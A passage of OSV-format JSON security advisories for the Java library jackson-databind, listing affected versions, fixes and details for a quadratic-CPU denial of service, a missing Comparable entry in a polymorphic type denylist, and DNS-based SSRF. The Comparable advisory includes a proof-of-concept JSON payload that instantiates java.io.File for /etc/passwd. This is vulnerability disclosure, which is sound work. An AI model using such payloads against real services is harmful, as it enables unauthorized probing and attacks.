"https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.21.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5", "2.21.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.1.6", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.7" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5", "3.1.6" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 3.2.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1", "3.2.2" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.10", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.5.0" }, { "fixed": "2.18.11" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.10", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9", "2.5.0", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "last_known_affected_version_range": "\u003c= 2.22.2", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-cxp5-3px4-pw24/GHSA-cxp5-3px4-pw24.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.3" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1", "2.22.2" ] } ], "aliases": [ "CVE-2026-91777" ], "database_specific": { "cwe_ids": [ "CWE-400" ], "github_reviewed": true, "github_reviewed_at": "2026-09-30T15:37:24Z", "nvd_published_at": "2026-09-23T03:17:04Z", "severity": "HIGH" }, "details": "### Summary\n\nWhen an `@JsonIdentityInfo` collection or map first creates N unresolved\nobject-ID references and later resolves the same IDs in reverse order,\njackson-databind scans the remaining pending-reference accumulator for each\nresolution. A shallow JSON document whose size grows linearly can therefore\ncause quadratic CPU work during deserialization.\n\n### Details\n\nThe affected path is forward-reference completion in\n`CollectionDeserializer.CollectionReferringAccumulator.resolveForwardReference()`\nand the corresponding map implementation. The implementation performs a\nlinear search of the pending accumulator for every resolved object ID.\n\nThe behavior is runtime-confirmed in jackson-databind 2.5.0, 2.22.1, and\n3.2.1. Current 2.22 and 3.2 source branches retained the same design when\nrechecked. A 2.4.0 control fails closed before successful reverse-order\ncompletion, so 2.5.0 is the conservative runtime-confirmed affected floor.\nThe patched versions are: 2.18.11, 2.21.7, 2.22.3, 3.1.7 and 3.2.3.\n\nThe vulnerable application must deserialize attacker-influenced JSON into an\nidentity-enabled collection or map. The issue does not require deep nesting or\nsyntactically unusual JSON.\n\nSuggested correction: replace repeated linear lookup/removal with a keyed\npending-reference structure or another design that provides linear or\namortized-linear completion. A regression should preserve input order,\nduplicate-ID behavior, and unresolved-ID errors while bounding reverse-order\nresolution work.\n\n### PoC\n\nThe proof constructs a shallow collection containing N unresolved\n`@JsonIdentityInfo` references followed by definitions of those same IDs in\nreverse order. Its ID class counts `equals()` calls, giving a deterministic\nwork measure rather than a timing-dependent result.\n\nWith N=2,000, affected versions perform exactly 2,003,000 ID comparisons. An\nequally sized control in which every reference is already resolved performs\nzero comparisons in the pending-reference lookup path. The run is bounded to\na 512 MiB JVM. The result demonstrates quadratic growth: approximately\n`N * (N + 1) / 2` comparisons, plus fixed setup comparisons.\n\n### Impact\n\nAn unauthenticated source that can submit JSON to an application using the\naffected identity-enabled collection or map shape can consume quadratic CPU\nand exhaust a request-time or worker-capacity budget, causing denial of\nservice. The application model/configuration prerequisite is material. No\nconfidentiality, integrity, code-execution, or parser-depth impact is claimed.\n\nRequested credit: Daniel Birtwhistle", "id": "GHSA-cxp5-3px4-pw24", "modified": "2026-09-30T15:46:18.051343022Z", "published": "2026-09-30T15:37:24Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-cxp5-3px4-pw24" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-91777" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6204" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6204" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/37ad9b81712cbb9fb62c2d2c1813593252a24b67" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.11" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.3" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.7" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.3" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "type": "CVSS_V3" } ], "summary": "jackson-databind quadratic forward-reference completion " }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3", "3.1.4", "3.1.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.2.0" }, { "fixed": "3.2.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.2.0", "3.2.1" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.11.0" }, { "fixed": "2.18.10" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.11.0", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.18.8", "2.18.9" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.6" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3", "2.21.4", "2.21.5" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-gx83-3vf8-gh7j/GHSA-gx83-3vf8-gh7j.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.22.0" }, { "fixed": "2.22.2" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.22.0", "2.22.1" ] } ], "aliases": [ "CVE-2026-83557" ], "database_specific": { "cwe_ids": [ "CWE-502", "CWE-915" ], "github_reviewed": true, "github_reviewed_at": "2026-09-28T20:44:25Z", "nvd_published_at": "2026-09-01T15:17:37Z", "severity": "MODERATE" }, "details": "### Summary\n`DefaultBaseTypeLimitingValidator` — the `PolymorphicTypeValidator` used automatically whenever `@JsonTypeInfo` is applied without an explicitly configured custom validator — denies polymorphic resolution only for nine specific \"unsafe base types\" (`Object`, `Serializable`, `Closeable`, `AutoCloseable`, `Cloneable`, `Runnable`, `java.util.logging.Handler`, `javax.naming.Referenceable`, `javax.sql.DataSource`). Its `isSafeSubType()` returns `true` unconditionally for every other base type. `java.lang.Comparable` is not in that list, despite being implemented by a very large fraction of JDK and application classes — comparable in breadth to `Serializable`, which is denylisted for exactly that reason. An application with an `@JsonTypeInfo`-annotated `Comparable`-typed property, and no custom validator configured, will accept a type identifier for essentially any class implementing `Comparable`.\n\n### Details\n**Affected file:** `src/main/java/tools/jackson/databind/jsontype/DefaultBaseTypeLimitingValidator.java`\n\n```java\nprivate final static class UnsafeBaseTypes {\n private final Set\u003cString\u003e UNSAFE = new HashSet\u003c\u003e();\n {\n UNSAFE.add(Object.class.getName());\n UNSAFE.add(java.io.Closeable.class.getName());\n UNSAFE.add(java.io.Serializable.class.getName());\n UNSAFE.add(AutoCloseable.class.getName());\n UNSAFE.add(Cloneable.class.getName());\n UNSAFE.add(Runnable.class.getName()); // [databind#5014]\n UNSAFE.add(\"java.util.logging.Handler\");\n UNSAFE.add(\"javax.naming.Referenceable\");\n UNSAFE.add(\"javax.sql.DataSource\");\n // java.lang.Comparable is NOT present here\n }\n}\n\nprotected boolean isSafeSubType(DatabindContext ctxt,\n JavaType baseType, JavaType subType) {\n return true; // unconditional for every base type not in UNSAFE\n}\n```\n\nThe class's own JavaDoc acknowledges the design (*\"Note that when using potentially unsafe base type like `java.lang.Object` a custom implementation... is needed\"*), so the trade-off of leaving broad base types unrestricted is intentional. The gap is that `Comparable` has the same breadth of implementers as the types this class *does* restrict, and its absence looks like an oversight rather than a deliberate choice — consistent with the ongoing, incremental nature of this list (`Runnable` was added recently for issue #5014).\n\nThis is specific to the **default, unconfigured validator** reached via bare `@JsonTypeInfo` usage. Global \"Default Typing\" via `activateDefaultTyping()` is **not** affected, because that method structurally requires an explicit `PolymorphicTypeValidator` argument — a correctly-configured `BasicPolymorphicTypeValidator` rejects the same payload under `activateDefaultTyping()`.\n\n### PoC\nBuilt entirely from source (jackson-databind + jackson-core + jackson-annotations, `javac`, OpenJDK 21, no third-party gadget libraries, no network access):\n\n**1. Sanity check (benign class, confirms the mechanism fires):**\n```java\nstatic class SafeThing implements Comparable\u003cSafeThing\u003e {\n public String name;\n public SafeThing() {}\n public int compareTo(SafeThing o) { return 0; }\n}\nstatic class Holder {\n @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)\n public Comparable\u003c?\u003e value;\n}\n\nObjectMapper mapper = JsonMapper.builder().build(); // no custom PTV\nString json = \"{\\\"value\\\":{\\\"@class\\\":\\\"...SafeThing\\\",\\\"name\\\":\\\"hello\\\"}}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=...SafeThing\n```\n\n**2. Real JDK class substitution:**\n```java\nString json = \"{\\\"value\\\":[\\\"java.io.File\\\",\\\"/etc/passwd\\\"]}\";\nHolder h = mapper.readValue(json, Holder.class);\n// RESULT: ACCEPTED, class=java.io.File value=/etc/passwd\n```\n\n**3. Negative control — Default Typing with an explicit custom PTV:**\n```java\nPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()\n .allowIfSubType(\"PtvGapTest4\").build();\nObjectMapper mapper = JsonMapper.builder()\n .activateDefaultTyping(ptv, DefaultTyping.NON_FINAL).build();\n// same java.io.File payload\n// RESULT: REJECTED - InvalidTypeIdException: \"...denied resolution\"\n```\n\n**Observed output:**\n\n\n\n\n$ java -cp .:build/classes PtvGapTest3\nTrying: {\"value\":[\"java.io.File\",\"/etc/passwd\"]}\nACCEPTED, class=java.io.File value=/etc/passwd\n\n$ java -cp .:build/classes PtvGapTest4\nTrying malicious substitution: [\"PtvGapTest4$Holder\",{\"value\":[\"java.io.File\",\"/etc/passwd\"]}]\nREJECTED - InvalidTypeIdException: Could not resolve type id 'java.io.File' as a\nsubtype of java.lang.Comparable: Configured PolymorphicTypeValidator denied resolution\n\n\n\n\n### Impact\nAny application declaring an `@JsonTypeInfo`-annotated property or class with `Comparable` as its base type, without a separately configured restrictive `PolymorphicTypeValidator`, will accept a type identifier for essentially any class implementing `Comparable`. Concrete impact is demonstrated via `java.io.File`: an attacker can cause construction of a `File` object for an arbitrary, attacker-chosen path. On its own this is a controlled-object-instantiation primitive; if the application later calls path-sensitive or mutating methods on the received value, this becomes a path-traversal-adjacent primitive. \n\n**Suggested remediation:**\n1. Add `java.lang.Comparable` to `UnsafeBaseTypes.UNSAFE`.\n2. Audit other broad JDK interfaces (`java.lang.Iterable`, `java.util.EventListener`) for the same gap.\n3. Consider a narrower default for `isSafeSubType()` for base types outside the fixed denylist, rather than unconditional `true`.", "id": "GHSA-gx83-3vf8-gh7j", "modified": "2026-09-28T21:00:05.608227628Z", "published": "2026-09-28T20:44:25Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-gx83-3vf8-gh7j" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83557" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/issues/6156" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/6155" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/eb3b7fc0f9c0d27f471550ac3316b17d1987388f" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L", "type": "CVSS_V3" } ], "summary": "jackson-databind: Comparable missing from DefaultBaseTypeLimitingValidator's unsafe base types (incomplete PolymorphicTypeValidator denylist)" }, { "affected": [ { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.0.0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.0.0", "2.0.1", "2.0.2", "2.0.4", "2.0.5", "2.0.6", "2.1.0", "2.1.1", "2.1.2", "2.1.3", "2.1.4", "2.1.5", "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", "2.14.0-rc1", "2.14.0-rc2", "2.14.0-rc3", "2.14.1", "2.14.2", "2.14.3", "2.15.0", "2.15.0-rc1", "2.15.0-rc2", "2.15.0-rc3", "2.15.1", "2.15.2", "2.15.3", "2.15.4", "2.16.0", "2.16.0-rc1", "2.16.1", "2.16.2", "2.17.0", "2.17.0-rc1", "2.17.1", "2.17.2", "2.17.3", "2.18.0", "2.18.0-rc1", "2.18.1", "2.18.2", "2.18.3", "2.18.4", "2.18.5", "2.18.6", "2.18.7", "2.2.0", "2.2.0-rc1", "2.2.1", "2.2.2", "2.2.3", "2.2.4", "2.3.0", "2.3.0-rc1", "2.3.1", "2.3.2", "2.3.3", "2.3.4", "2.3.5", "2.4.0", "2.4.0-rc1", "2.4.0-rc2", "2.4.0-rc3", "2.4.1", "2.4.1.1", "2.4.1.2", "2.4.1.3", "2.4.2", "2.4.3", "2.4.4", "2.4.5", "2.4.5.1", "2.4.6", "2.4.6.1", "2.5.0", "2.5.0-rc1", "2.5.1", "2.5.2", "2.5.3", "2.5.4", "2.5.5", "2.6.0", "2.6.0-rc1", "2.6.0-rc2", "2.6.0-rc3", "2.6.0-rc4", "2.6.1", "2.6.2", "2.6.3", "2.6.4", "2.6.5", "2.6.6", "2.6.7", "2.6.7.1", "2.6.7.2", "2.6.7.3", "2.6.7.4", "2.6.7.5", "2.7.0", "2.7.0-rc1", "2.7.0-rc2", "2.7.0-rc3", "2.7.1", "2.7.1-1", "2.7.2", "2.7.3", "2.7.4", "2.7.5", "2.7.6", "2.7.7", "2.7.8", "2.7.9", "2.7.9.1", "2.7.9.2", "2.7.9.3", "2.7.9.4", "2.7.9.5", "2.7.9.6", "2.7.9.7", "2.8.0", "2.8.0.rc1", "2.8.0.rc2", "2.8.1", "2.8.10", "2.8.11", "2.8.11.1", "2.8.11.2", "2.8.11.3", "2.8.11.4", "2.8.11.5", "2.8.11.6", "2.8.2", "2.8.3", "2.8.4", "2.8.5", "2.8.6", "2.8.7", "2.8.8", "2.8.8.1", "2.8.9", "2.9.0", "2.9.0.pr1", "2.9.0.pr2", "2.9.0.pr3", "2.9.0.pr4", "2.9.1", "2.9.10", "2.9.10.1", "2.9.10.2", "2.9.10.3", "2.9.10.4", "2.9.10.5", "2.9.10.6", "2.9.10.7", "2.9.10.8", "2.9.2", "2.9.3", "2.9.4", "2.9.5", "2.9.6", "2.9.7", "2.9.8", "2.9.9", "2.9.9.1", "2.9.9.2", "2.9.9.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.19.0", "2.19.1", "2.19.2", "2.19.3", "2.19.4", "2.20.0", "2.20.0-rc1", "2.20.1", "2.20.2", "2.21.0", "2.21.1", "2.21.2", "2.21.3" ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.19.0" }, { "fixed": "2.21.4" } ], "type": "ECOSYSTEM" } ] }, { "database_specific": { "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-hgj6-7826-r7m5/GHSA-hgj6-7826-r7m5.json" }, "package": { "ecosystem": "Maven", "name": "tools.jackson.core:jackson-databind", "purl": "pkg:maven/tools.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "3.0.0" }, { "fixed": "3.1.4" } ], "type": "ECOSYSTEM" } ], "versions": [ "3.0.0", "3.0.1", "3.0.2", "3.0.3", "3.0.4", "3.1.0", "3.1.0-rc1", "3.1.1", "3.1.2", "3.1.3" ] } ], "aliases": [ "CVE-2026-54514" ], "database_specific": { "cwe_ids": [ "CWE-918" ], "github_reviewed": true, "github_reviewed_at": "2026-06-23T21:22:54Z", "nvd_published_at": "2026-06-23T21:17:02Z", "severity": "MODERATE" }, "details": "## Summary\n`JDKFromStringDeserializer` constructed `InetSocketAddress` with `new InetSocketAddress(host, port)`, which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an `InetSocketAddress` field issues an attacker-chosen DNS query during `readValue`, before any application-level validation or connect logic. The fix uses `InetSocketAddress.createUnresolved(host, port)`, deferring DNS to an explicit connect.\n\n## Impact\nAn attacker controlling JSON deserialized into an `InetSocketAddress`-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.\n\n## Affected / Patched (verified via `git tag --contains` on `1f5a103`)\n- 2.18 line: `\u003e= 2.18.0, \u003c 2.18.8` -\u003e fixed in **2.18.8**\n- 2.19-2.21 line: `\u003e= 2.19.0, \u003c 2.21.4` -\u003e fixed in **2.21.4**\n- 3.x line: `\u003e= 3.0.0, \u003c 3.1.4` -\u003e fixed in **3.1.4**\n\n## Severity / CWE\nMaintainer: minor. Reporter: LOW. CWE-918 (SSRF).\n\n## Upstream fix\nFasterXML/jackson-databind#5951 (\"Improve InetSocketAddress deserialization\"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.\n\n## Credits\nOmkhar Arasaratnam (@omkhar) - finder.", "id": "GHSA-hgj6-7826-r7m5", "modified": "2026-09-10T03:50:49.909813840Z", "published": "2026-06-23T21:22:54Z", "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-hgj6-7826-r7m5" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54514" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/pull/5951" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/1f5a1037b1e9e05920e755cb35f198bcd46667e4" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "schema_version": "1.9.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "type": "CVSS_V3" } ], "summary": "jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)" }, { "affected": [ { "database_specific": { "last_known_affected_version_range": "\u003c= 2.18.7", "source": "https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-j3rv-43j4-c7qm/GHSA-j3rv-43j4-c7qm.json" }, "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind", "purl": "pkg:maven/com.fasterxml.jackson.core/jackson-databind" }, "ranges": [ { "events": [ { "introduced": "2.10.0" }, { "fixed": "2.18.8" } ], "type": "ECOSYSTEM" } ], "versions": [ "2.10.0", "2.10.0.pr1", "2.10.0.pr2", "2.10.0.pr3", "2.10.1", "2.10.2", "2.10.3", "2.10.4", "2.10.5", "2.10.5.1", "2.11.0", "2.11.0.rc1", "2.11.1", "2.11.2", "2.11.3", "2.11.4", "2.12.0", "2.12.0-rc1", "2.12.0-rc2", "2.12.1", "2.12.2", "2.12.3", "2.12.4", "2.12.5", "2.12.6", "2.12.6.1", "2.12.7", "2.12.7.1", "2.12.7.2", "2.13.0", "2.13.0-rc1", "2.13.0-rc2", "2.13.1", "2.13.2", "2.13.2.1", "2.13.2.2", "2.13.3", "2.13.4", "2.13.4.1", "2.13.4.2", "2.13.5", "2.14.0", 